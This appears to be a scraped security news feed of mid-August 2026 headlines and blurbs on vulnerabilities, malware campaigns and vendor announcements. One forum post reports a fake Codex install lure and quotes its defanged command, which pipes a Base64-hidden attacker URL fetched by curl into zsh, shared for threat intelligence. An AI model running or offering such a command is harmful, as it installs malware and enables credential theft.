The expensive attacks are not always the clever ones. This week had plenty of proof. Exposed services got hit, old bugs found fresh use, browser sessions became attack paths, and supply-chain problems kept spreading farther than the original compromise. A lot of it came down to access that was already there and defenses that assumed nobody would look too closely. So, nothing magical. Just a
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Monday, August 17
Cybersecurity researchers at Wiz have disclosed a new GitHub Actions workflow injection vulnerability in Snowflake's public snowflakedb/snowflake-connector-net repository that it said could be exploited through a crafted GitHub issue to execute commands in a workflow containing internal Jira credentials. The issue was present in .github/workflows/jira_issue.yml, which ran when a
A critical security flaw has been disclosed in Forminator Forms, a WordPress plugin with more than 600,000 active installations, that could be exploited to achieve arbitrary code execution on susceptible sites. The vulnerability, tracked as CVE-2026-15748, is rated 9.8 out of 10.0 on the CVSS scoring system. It was discovered and reported by a security researcher who goes by the online alias "
Cybersecurity researchers have traced the continued evolution of the Cavern (aka Cav3rn) command-and-control (C2) framework used by Iranian nation-state hackers in attacks targeting entities in Israel. Russian cybersecurity company Kaspersky said its ongoing monitoring of the threat activity cluster since December 2025 has led to the discovery of previously unreported components that expand the
I’m the author. The game’s creator was notified before publication, and all state-changing tests affected only my own player account.
Fisherman: “I like live bait.” catches 3 Phisherman: “I like click bait.” catches 2,999,997 over limit It's like a song stuck in my head, I need to create a meme challenge to get rid of it. ready, go.
J'ai créé ScamBuster, un honeypot open source pour les e-mails de fraude. Il ne répond qu'aux e-mails qui arrivent. Il n'envoie jamais le premier message. Chaque réponse vient de l'un des plusieurs personas d'IA. Le système sélectionne les personas avec un bandit epsilon-greedy, ce qui lui permet d'apprendre au fil du temps lesquels maintiennent un escroc en conversation le plus longtemps. Pendant que la conversation se déroule, ScamBuster extrait des IOCs : comptes bancaires de mules, numéros de téléphone, portefeuilles crypto, domaines. En ce moment, il suit 34 types. Vous pouvez les exporter en tant que paquets STIX 2.1, événements MISP, ou via un flux TAXII, donc ils tombent directement dans un pipeline SIEM ou SOAR. Il fonctionne en production depuis novembre 2025. Je suis ingénieur principal chez Filigran et j'ai présenté ce projet à Black Hat USA ce mois-ci, en tant que projet personnel. Code : https://github.com/laugiov/scambuster J'aimerais avoir des retours de personnes qui travaillent avec des flux IOC au quotidien. Le format est-il utile tel quel, ou manque-t-il quelque chose pour s'intégrer à votre stack ?
Three variations on subversive use of DNS by the Agent are documented in Hugging Face's technical writeup of the July 2026 security incident involving OpenAI models. In this article, I discuss what each of these three types of DNS workarounds achieve in practice, the constraints an actor might have faced to attempt a particular one, and additional benefits from choosing each.
Came in the office this morning to a wonderful new App Installer cve that our C level guys are freaking out about. [NVD - CVE-2026-68821](https://nvd.nist.gov/vuln/detail/CVE-2026-68821) MS's response... link to a download to update... to the exposed version. Take down the release notes article for 1.30 in pre-release. Go completely MIA on the issue. LOL peak Microsoft. "thank god it's only local access" Weeee!
Hey all, hope this is okay to post here. I checked the rules beforehand, but if I overlooked something and research surveys aren’t allowed, apologies. I’ll happily remove it. We’re a small early-stage team with a background in cybersecurity, currently doing research around ISO 27001 and the way GRC work actually happens inside companies. Before making too many assumptions about what should be automated or improved, we’re trying to learn from people who actually deal with this stuff: Where does the work become painful? What takes way too much time? What is still highly manual? Where do existing tools or consultants help and where don’t they? We made a short **8–10 minute survey** covering the ISO 27001 process, risk management, documentation/evidence, audits, software/AI support and a few related topics. If you work in GRC, security, ISMS, compliance, audit or ISO consulting, a few minutes of your experience would be a huge help to a young team like ours. We’re at a stage where good feedback can still genuinely change what we build. And criticism is very welcome. We’d much rather hear “this isn’t a real problem” now than spend months building something nobody needs. **Survey:** [https://tally.so/r/b5RAro](https://tally.so/r/b5RAro) Really appreciate anyone who takes the time — or passes it along to someone with relevant experience. Thanks!
The expensive attacks are not always the clever ones. This week had plenty of proof. Exposed services got hit, old bugs found fresh use, browser sessions became attack paths, and supply-chain problems kept spreading farther than the original compromise. A lot of it came down to access that was already there and defenses that assumed nobody would look too closely. So, nothing magical. Just a
hi, just published a small security research archive with two independent LPEs I found during research. one is an MSI Center UAC bypass via a TOCTOU condition, and the other is a NetLimiter LPE. both include working PoCs + technical explaination to a decent extent [https://github.com/Zypherion-Technologies/Vulnarium](https://github.com/Zypherion-Technologies/Vulnarium)
MCP servers can expose enterprise secrets through plaintext configuration files, over-permissioned access and prompt injection, often before security teams even know the server is running. As more organizations adopt AI agents into their systems, that exposure can silently become a major gap in MCP server security. The Model Context Protocol (MCP) allows AI agents to reach the tools and data,
Security researchers at SSD Secure Disclosure have published a two-stage exploit chain that achieves full Android kernel access on devices running Unisoc modem firmware through a VoLTE video call, with no fix from the chipset maker. The advisory, published August 17, 2026, is the second stage of a chain that began in March 2026, when SSD disclosed remote code execution in the
Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex. A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64. https://preview.redd.it/v31atwx50xjh1.png?width=1108&format=png&auto=webp&s=6cb2d317c7fd455e75c67cec9e33085cf3a888c9 **Defanged example, do not execute:** echo "npm install -g u/openai/codex https://openai.com/codex/" && curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh The Base64 value decoded to: hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json The interesting part is the delivery pattern: Sponsored search result ↓ Fake Codex installation page ↓ Legitimate-looking OpenAI text printed with echo ↓ Base64-obfuscated unrelated domain ↓ curl response piped directly into zsh I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence. The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to: /opt/homebrew/Caskroom/codex/0.147.0/bin/codex The binary is signed: Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2) So the malicious component appears to be specifically the separately downloaded `quill-flint[.]com` shell payload. Has anyone tracking current macOS malware seen: quill-flint[.]com /curl/<id>/<id>.json or this exact Codex-themed lure? I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain. I can provide more sanitized timestamps and filesystem observations if useful for analysis.
Six major security incidents traced from the initial Litellm and Trivy pipeline compromises all the way to ransomware/breaches
deep dive into the high profile organizations compromised in this campaign and detail the exact secrets, tokens, and configurations that likely fueled downstream extortion by groups like Vect ransomware (TeamPCP). Companies breached include Mercor, Cisco, S&P Global, Telnyx, Telnyx, and the European Commission
Cybersecurity researchers have flagged a previously undocumented Linux botnet family dubbed Evooo1Bot that derives its core functionality from the Mirai botnet source code and is equipped to turn internet-facing devices into SOCKS proxies. "While the malware reuses the DDoS engine from the publicly leaked Mirai source code, it extends the original framework with numerous capabilities, including
Cybersecurity researchers have attributed the exploitation of a newly patched security flaw in Broadcom VMware vCenter to a suspected China-nexus advanced persistent threat (APT). The attacks involve the exploitation of CVE-2026-59310 (CVSS score: 9.8), a severe directory-traversal vulnerability in the VMware vCenter server that could be weaponized by a malicious actor to execute arbitrary code
To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have better luck on the [Reverse Engineering StackExchange](http://reverseengineering.stackexchange.com/). See also /r/AskReverseEngineering.
Today, we’re introducing a redesigned GreyNoise Visualizer that makes it easier to navigate those capabilities and brings related workflows together in one place.
Sunday, August 16
Reverse Engineering CVE-2026-6837: From Zyxel Firmware to Root Command Execution with full firmware emulation
phaedra: coverage-guided fuzzer that uses a local LLM to bootstrap seeds for undocumented binary formats
Saturday, August 15
A maximum-severity security vulnerability impacting SAP Commerce Cloud is witnessing active exploitation efforts. The vulnerability, tracked as CVE-2026-58231, is rated 10.0 on the CVSS scoring system. It relates to an instance of insufficient authorization checks and input validation. "SAP Commerce Cloud allows an unauthenticated attacker to abuse a default authentication client and submit
A recently patched security flaw in Apple macOS has come under active exploitation in the wild to deploy a cryptocurrency miner, the Netherlands National Cyber Security Centre (NCSC-NL) has warned. The vulnerability in question is CVE-2026-65400 (CVSS score: 9.8), a critical authentication issue impacting the Screen Sharing component that could allow an attacker already on the network to
Friday, August 14
At a press conference outside Madison Square Garden, politicians, musicians, and privacy advocates argued for tighter restrictions on how public venues deploy biometric surveillance.
Threat actors are acquiring expired domains to inherit website traffic and reputation to redirect victims to scams and malware on a large scale. DNS threat intelligence firm Infoblox has given the name dropcatch domains to those that get a second chance, where an expired domain becomes available for registration and is then snapped up by another party. During the first half of 2026, 50,400
IAM compliance is the practice of demonstrating that identity and access controls are not only documented but actually enforced across users, applications, infrastructure, and non-human identities. This guide explains what IAM compliance requires, which regulations matter, and how organizations move from periodic access reviews toward continuous, evidence-backed verification that auditors can
Most companies designed their resource permissions with a human user in mind. A senior engineer may be able to deploy to production, query a sensitive database, or revoke another user's access. Those privileges come with risk, but that risk has traditionally been bounded by two assumptions: the engineer will use human judgment, and the engineer can only act at human speed. An engineer who sees an unexpected result will usually stop and reconsider their actions. Any human being can only click, type, and review so much in a single day. The introduction of AI agents changes both thresholds. Their decisions are nondeterministic, and they can take the same action (or invoke the same tool) indefinitely, without getting tired or stopping for lunch. A plausible — but incorrect — decision can become thousands of incorrect actions before a human notices. Today, we're announcing new Cloudflare One capabilities to identify inspected MCP traffic, show which users and servers are generating it, and control direct connections on managed network paths. Combined with MCP Server Portals , these controls help administrators see whether agents are using an approved path, or somehow bypassing it. Model Context Protocol (MCP) servers give agents a common way to discover and invoke tools backed by third-party SaaS products, internal applications, and APIs. The underlying permissions are likely familiar; what changes is who makes each decision, and how quickly a bad decision can spread. Connecting an agent to one of these tools can take a single
The threat actor known as HoneyMyte (aka Mustang Panda) has been observed deploying an updated version of the CoolClient backdoor with a signed Windows kernel-mode rootkit that can hide and protect malicious processes, files, registry objects, and command-and-control (C2) network information. Russian cybersecurity vendor Kaspersky said it identified victims in Myanmar, Mongolia, Pakistan,
AI has enabled employees across every team to build applications faster than ever before. But that speed is also what's keeping every CISO up at night: any employee can build an application, deploy it to the public Internet, and accidentally expose internal work or company data. Today, we're launching new tools to make it easy to keep your applications hosted on Workers private. You can now apply Cloudflare Access directly to a Worker or to every Worker in your account, so that your applications are behind your company login by default, without relying on each developer to set that up themselves. You can now: Set a policy at the account level to ensure that all preview and production deployments are behind your company login by default. Set a policy on a single application to ensure authentication is enforced on every domain associated with it, no matter how it's deployed. See exactly who visits your application. Get every authenticated user’s email, name, and groups directly in your code — no JWT (JSON Web Token) validation required. Deploy an internal platform where every deployment is private by default. We've open-sourced an example : an internal static site platform where every Worker deployed is private. Access on Workers: how it works When you enable Access on a Worker, Cloudflare enforces authentication before any request reaches your application code. It doesn't matter how the request gets to your Worker, whether it's through a custom domain, a route, a workers.dev subdomain, or a preview URL. If Access is on, the user h
It can be daunting to determine who’s responsible for showing ads on the websites we visit, or who’s harvesting data from the mobile apps we use every day. That information is already semi-public, but it is not easily parsed and traditionally much of it has remained walled away in the hands of large advertising platforms. Not anymore: A powerful and free new service called DecryptAds scrapes and correlates this adtech data and makes it simple to quickly learn a great deal about the entities that are tracking you. A Decryptads summary of the advertising partnerships declared by espn.com. The newly launched decryptads.com says it is constantly scraping the files that websites and apps make publicly available to disclose the companies that are permitted to run ads or collect user data. These files include: – ads.txt : all of the adtech companies and data brokers that may run ads or harvest data from the site; – app-ads.txt : entities that can harvest data from or display ads on mobile an
CTM360 Uncovers Over 3,000 Recruitment Phishing URLs Using Browser-in-the-Browser (BitB) Credential Traps
Cybersecurity researchers have uncovered a large-scale, global recruitment-themed phishing campaign that uses fake interview scheduling pages and Browser-in-the-Browser (BitB) windows to steal Google and Facebook credentials and, in more advanced cases, relay multi-factor authentication (MFA) prompts in real time. CTM360, which detailed the activity in a new report titled RecruitTrap, said it
Apple on Thursday sent a fresh batch of notifications to customers whom it suspects may have been targeted by mercenary spyware attacks. In a statement shared with TechCrunch, the iPhone maker said it alerted an unspecified number of users targeted in 110 countries and that it has notified customers in over 150 countries to date. Apple began sending threat notifications to users in late 2021.
A new White House memo signed by U.S. President Donald Trump has instructed the National Coordination Center (NCC) to establish a program that would allow private sector companies to take advantage of their "innovative capabilities" to break into foreign Transnational Criminal Organizations (TCOs) and disrupt them. "By partnering with vetted United States companies subject to the direction and
The China-linked threat actor known as Jewelbug has been observed carrying out cyber espionage operations targeting governments and militaries, while simultaneously engaging in cryptocurrency fraud. "Both missions are administered from a single control panel, XG-Web, a browser-centric remote-access and information-stealing framework that turns a victim's browser into a full remote-control
Suddenly, you’re in a room. You look around - oh, you’re surrounded by other new starters at your new job. Yes, it’s Monday, and you’re being onboarded. You know the drill - it’s the typical enterprise “please don’t be a bad person or we may have to fire you” speech. But, you know what’s coming soon. It’s your favorite part of the onboarding process when you’ve started a new role. It begins! The password policy requirements. You straighten your tie, because sure as heck, your SSLVPN credentials will not be the starting point for this organization. Not this time. Not again. You swore to yourself that you’d use a symbol this time. Wait, did they just say NetScalers? The world freezes around you. How are you back in the hellscape? You panic - what does a symbol matter in comparison to the traumatic nightmares you relive every day? You realize the truth - nobody cares whether your password has a symbol or not. It’s already over for you. Welcome back to another watchTowr Labs blog post. It’s been three years since the last publicly documented NetScaler RCE writeup. ChatGPT tells us that today we’re changing that. Exciting. In this post, we’re going to walk through a vulnerability that was resolved as part of a recent NetScaler ADC and NetScaler Gateway Security Bulletin . As part of this bulletin, Citrix subtly? silently? loudly? patched a Heap Overflow vulnerability
Thursday, August 13
Here's my research in using CSS for offence. There are loads of techniques including stealing passwords from Outlook from an email by spoofing the login screen. [](https://www.reddit.com/submit/?source_id=t3_1viivra&composer_entry=crosspost_prompt)
At a time when looking down at our devices is a ritual in daily life, a natural phenomenon that demands our attention communally upward is a welcome event. On Wednesday, August 12, a total solar eclipse swept from the North Atlantic across Europe, moving over Iceland and northern Spain and Portugal, with a deep partial eclipse over the rest of Western Europe, all near local sunset. This was the first total solar eclipse to cross mainland Europe in twenty years, and it drew millions outdoors to witness the moon pass between Earth and the sun. As we saw during the 2026 World Cup and the last total eclipse in 2024 , online behavior is noticeably affected when an event at this scale takes place. In this blog post, we’ll use data from Cloudflare Radar to examine how Internet traffic shifted alongside the moon and the sun. Internet traffic dips align precisely with maximum obscuration In the figure above, we measured HTTP request volume in five-minute buckets across the affected countries on eclipse day, and compared it to a normal-day baseline. Each row is a country (except for Alaska) and each column is a five-minute slice of August 12, 2025, the day of the eclipse. The countries appear above in the order in which they saw the eclipse. The black diamonds mark the moment of maximum eclipse and the color shows the percent change in HTTP traffic versus the baseline (red = below normal, blue = above). We can see very clearly that the black diamonds overlay the darkest red, almost perfectly, signaling that as the eclipse deepened, Internet traffic decr
A newly disclosed zero-day flaw in GeoServer is seeing active exploitation efforts, per watchTowr. The vulnerability, which has yet to be assigned a CVE identifier, is an SQL injection vulnerability in the open-source platform that can lead to remote code execution (RCE). The security defect remains unpatched. It was first disclosed on August 12, 2026, at 10:46 UTC, by a researcher named @
Some weeks have one big security story. Others bring many smaller updates that are easy to miss but still matter. This week has plenty of them, covering cloud services, AI tools, malware, data breaches, scams, and new attack methods. The latest ThreatsDay Bulletin puts all of these short updates in one place, so you can quickly catch up on what happened, what changed, and what security teams
* Auth Bypass. * Commands over CAN Bus to internal components. * Protection mechanisms disabled and configuration changes. * Impact: damage connected devices, permanent DoS to the inverter itself, fines, and even risk to the lives of grid technicians. * proprietary communication protocols and file formats. * RX architecture reverse engineering.
Since we launched Certificate Transparency Monitoring in public beta in 2019, we've been emailing subscribers whenever a new TLS certificate appears in a public Certificate Transparency (CT) log for one of their domains. Today, it's turned on for more than 650,000 customer domains. It's an early warning that someone, somewhere, has issued a certificate for a hostname in your zone, giving you a chance to spot a mis-issued certificate early. It's a useful signal, but it had a noise problem, and we felt it ourselves. Cloudflare issues a large volume of certificates on your behalf: Universal SSL renewals, certificates from Advanced Certificate Manager, and backup certificates. All of them are logged to public CT logs by design, because a certificate that isn't logged won't be trusted by major browsers like Google Chrome and Apple's Safari. So the same transparency that lets you monitor for mis-issuance also surfaces every certificate we issue for you. And issuance isn't a one-time event. Certificates are short-lived and renew automatically: a single Universal SSL certificate can renew as often as every 60 days , up to about six times a year. That cadence is set to increase, with the CA/Browser Forum having voted to cut the maximum certificate lifetime to 47 days by 2029, multiplying the routine renewals that fl
Records obtained by WIRED detail hundreds of allegations of Customs and Border Protection workers misusing internal tools to look up romantic interests and track colleagues’ cell phones.
Former Google Threat Intelligence leader joins GreyNoise as SVP of Adversary Operations to advance proactive discovery and disruption of cyber threats.
Wednesday, August 12
Security researchers found that in less than 60 seconds, they could open a hatch on a plane’s exterior, plug in a tiny device, and redirect the aircraft’s autopilot or sabotage its flight plan.
Experts allege that two recent incidents in California show the extreme lengths that criminal organizations are willing to go to to steal servers and other gear meant for data centers.
Chaining 3 CVEs to exfiltrate sensitive ERP data.
Presently sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite A little wind noise, a little connectivity flakiness, and a little lip-sync issues from YouTube, but look at that view! 朗 Back to business, it's the Brinks Home FAQ I found most interesting this week. I mean, how do you write your own FAQ then fail to actually answer most of the questions?! Being conscious that they're the target of criminal extortion and are genuinely the victims here, I still struggle to grasp how simple incident response questions can be so lawyer-speaked as to remove all sensible meaning from the responses. But this is how these things tend to play out these days (speaking generically, yet to be seen fully for Brinks): hacker gets data by just calling up and asking for it (vishing -> OAuth), hacker demands money, hacker gets no money so dumps the data, company gets a gazillion class actions overnight and lawyers up to the hilt, customers get notified "where legally required" (which it usually isn't) 路♂️
Tuesday, August 11
Microsoft today released updates to remedy at least 398 security vulnerabilities in its Windows operating systems and supported software, including one weakness that is already being actively exploited and two others that were publicly detailed prior to today. Image: Shutterstock, Mallika Home Studio. August’s overstuffed bundle of patch joy from Microsoft did not eclipse its recording breaking release of more than 570 security updates last month , but it is double June’s then-record batch of nearly 200 fixes . Microsoft has attributed the recent patch deluge to vulnerability discoveries aided by artificial intelligence, and experts roundly agree that Windows users should get used to the idea of Patch Tuesdays (the second Tuesday of each month) covering hundreds of newly discovered security flaws. Fully 42 of the 398 flaws that Microsoft patched today earned Redmond’s most-dire “critical” rating, meaning they are severe enough that malware or malcontents could exploit them to gain remote control over a Windows computer with little to no help from the user. The
I registered an expired DMARC reporting domain (gca-emailauth\[.\]org) for $10. It had been published as the aggregate-reporting address in Global Cyber Alliance DMARC training docs going back to a 2019 bootcamp, and at some point it lapsed. Shortly after registration, aggregate DMARC reports for 86 domains across 20+ organizations started arriving. 56 belonged to The Toro Company (NYSE-listed), including myturf\[.\]com, their distributor platform, which sits at p=none. The rest - University of Wisconsin–Stevens Point (14 subdomains), the North Carolina School of Science and Mathematics, Ennis ISD (Texas), Great Prairie AEA (an Iowa education agency serving 35,000 students), two county governments, and several commercial domains. For most of these it was a second rua address sitting behind a working commercial processor (Proofpoint, in Toro's case). Reports still arrived at the primary. GCA's engineers later traced it to a former partner who'd held the domain and let it lapse - the dependency was never written down. As of my last sweep, 65 of the 86 still publish the endpoint. We disclosed to everyone whose reports we were receiving; only 21 domains stopped publishing the endpoint, and almost nobody replied. After 8 months of owning the domain, we coordinated a transfer back to GCA.
Every Signal chat starts the same way: the client asks the Signal server for the public key associated with your contact’s phone number. But how do you know the server gave you the right key? A compromised server could provide a false public key, allowing the client to encrypt messages to an attacker rather than the intended recipient. Until now, the only way to detect such malfeasance was to verify safety numbers with your contact in person or over a trusted channel. Signal recently launched an alternative: Automatic Key Verification , a feature that helps validate that your chats are secure without requiring direct safety number comparison . Trail of Bits built and operates one of the three auditors that make this system trustworthy. Our auditor, which is an independent implementation written from scratch, continuously checks that the Automatic Key Verification system behaves honestly. How key verification works Automatic Key Verification is a form of “key transparency” that makes mismatch attacks harder to hide by creating a globally consistent view of the set of public keys associated with each phone number. The Signal app now performs a periodic self-check to ensure that all keys stored in the global map for your account belong to your devices. If the app is unable to verify the log, or finds that not all keys are expected, the user is presented with a warning that “Automatic Key Verification is currently unavailable for your device.” Automatic Key Verification may also be unavailable for other reasons, as outlined in Signal’s documentation
Author here. We discovered a vulnerability in `docker cp` that allows a malicious container to create or overwrite files on the machine running the Docker CLI. The exploit combines a filesystem race in Docker’s archive creation with unsafe symlink handling during extraction. Depending on the CLI user’s privileges, this can lead to developer-account compromise or root code execution. Docker confirmed that `sbx cp` was also affected. Fixed versions: * Docker Engine/CLI 29.7.2+ * Docker Desktop 4.86.0+ * Docker Sandboxes 0.38.0+ Happy to answer technical questions.
VU#431093: TCG TPM 2.0 reference code found vulnerable to information leakage and timing side-channel attacks
Overview Two vulnerabilities have been identified in the Trusted Platform Module (TPM) 2.0 reference implementation: CVE-2026-6726 – Information leakage via falsified TPM keys. CVE-2026-6727 – A timing side-channel vulnerability in RSA OAEP decryption. An attacker with privileged access to a TPM command interface may be able to exploit these vulnerabilities by sending specially crafted TPM commands. Successful exploitation could allow the attacker to decrypt ciphertexts encrypted to affected TPM-managed RSA keys, including the RSA Endorsement Key (EK), or obtain credentials for falsified TPM keys, enabling forged TPM 2.0 attestations. These vulnerabilities are also documented by the Trusted Computing Group (TCG) in advisories - TCGVRT010 and TCGVRT0011 : Description Trusted Platform Module (TPM) technology provides hardware-backed cryptographic services for modern computing platforms. TPMs are designed to resist tampering and may be implemented as discrete chips, integrated hardware, firmware-based TPMs (fTPMs), or software implementations used in cloud and virtualized environments. The Trusted Computing Group (TCG) maintains the TPM specifications and publishes a reference implementation to assist vendors in developing TPM-compliant products. Two vulnerabilities were identified in the TPM 2.0 reference implementation. CVE-2026-6727 A timing side-channel vulnerability exists in the RSA OAEP decryption implementation. A privileged local attacker with access to the TPM command interface may be able to exploit timing differ
Cloudflare DDoS Threat Report H1 2026: 1 Tbps attacks soar as DNS floods and geopolitical tensions drive a new wave
Welcome to the 25th edition of Cloudflare's DDoS Threat Report. This is the first half-year edition in the series: rather than publishing separate reports for the first and second quarters of 2026, we have combined our coverage of Q1 and Q2 into a single volume covering January through June 2026. The analysis is produced by Cloudforce One , Cloudflare’s Threat Intelligence organization, providing a comprehensive analysis of the evolving threat landscape of Distributed Denial of Service (DDoS) attacks based on data from the Cloudflare network . Key insights The 1 Tbps club grew. Cloudflare mitigated a combined 935 network-layer DDoS attacks exceeding 1 Tbps in the first half of 2026 and a +519% quarter-over-quarter surge between Q1 and Q2. The attack-vector center of gravity shifted from botnet floods to reflection and amplification. DNS-based attacks accounted for 34.3% of all network-layer activity in the first half of 2026, with DNS Floods alone climbing from 25.7% to 40.0% of network-layer attacks quarter-over-quarter. CLDAP Floods surged +580% quarter-over-quarter to become the #3 vector in Q2. Geopolitics and global events influence the landscape. Media, Production & Publishing held the #1 most-attacked industry crown in both quarters at 14.2% of all mitigated HTTP DDoS requests as coverage of Iran, Ukraine, and the World Cup drew sustained attention. In para
Researchers say it took fewer than 20 prompts for a public AI tool to find a flaw (now fixed) allowing anyone on a Zoom call to hijack another participants’ device.
Most security leaders can report what they spent on bug bounty last year. Far fewer can understand the value being delivered by proving what it actually tested. Open programs show which bugs were reported, not which assets received real, skilled attention. Managed bug bounty closes that gap. Researcher-hour and traffic analytics turn testing depth into evidence you can measure, not an assumption you have to trust, giving you coverage you can hand to a board, an auditor, or a compliance team. The post Managed Bug Bounty: Why Provable Coverage Beats Blind Spend appeared first on Synack .